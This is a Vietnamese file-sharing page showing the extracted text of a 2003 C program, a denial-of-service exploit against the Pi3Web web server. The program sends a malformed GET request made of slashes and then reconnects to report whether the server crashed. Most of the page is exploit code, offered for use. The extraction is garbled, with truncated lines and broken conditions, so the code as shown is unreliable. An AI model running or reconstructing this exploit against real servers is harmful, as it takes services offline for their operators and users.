intTypePromotion=1
zunia.vn Tuyển sinh 2024 dành cho Gen-Z zunia.vn zunia.vn
ADSENSE

Unix Version of the Pi3web DoS

Chia sẻ: Ai Dieu | Ngày: | Loại File: DOC | Số trang:4

54
lượt xem
4
download
 
  Download Vui lòng tải xuống để xem tài liệu đầy đủ

Lập trình Unix Version of the Pi3web DOS

Chủ đề:
Lưu

Nội dung Text: Unix Version of the Pi3web DoS

  1. Unix Version of the Pi3web DoS trang này đã được đọc  lần  * Unix Version of the Pi3web DoS.  * ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­  * Info: Pi3Web Server is vulnerable to a denial of Service.  * ­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­  * VULNERABILITY:  * GET //// 
  2. void addr_initialize();  int main(int argc, char **argv)  {   int i, port, sd, rc;   char buffer[355];   char *get = "GET";   char packet[360];   struct sockaddr_in server;   if(argc > 3 || argc 
  3.  if(sd = 0);   rc = connect(sd, (struct sockaddr *) &server, sizeof(server));   if(rc != 0) perror("Connect");   assert(rc == 0);   printf("\n\t\t(c) 2003 DTORS Security\n");   printf("\t\tUnix Version DoS for Pi3web\n");   printf("\t\tby Angelo Rosiello\n\n");   write(sd, packet, strlen(packet)); //Caput!   printf("Malformed packet sent!\n");   close(sd);   printf("Checking if the server crashed...\n");   sleep(3);   sd = socket(AF_INET, SOCK_STREAM, 0);         if(sd = 0);   rc = connect(sd, (struct sockaddr *) &server, sizeof(server));   if(rc != 0)   {     printf("The server is dead!\n");     exit(0); 
  4.  }   else if(rc == 0) printf("The server is not vulnerable!\n");   close(sd);   exit(0);  }  void addr_initialize (struct sockaddr_in *address, int port,  long IPaddr)  {         address ­> sin_family = AF_INET;         address ­> sin_port = htons((u_short)port);         address ­> sin_addr.s_addr = IPaddr;  } 
ADSENSE

CÓ THỂ BẠN MUỐN DOWNLOAD

 

Đồng bộ tài khoản
7=>1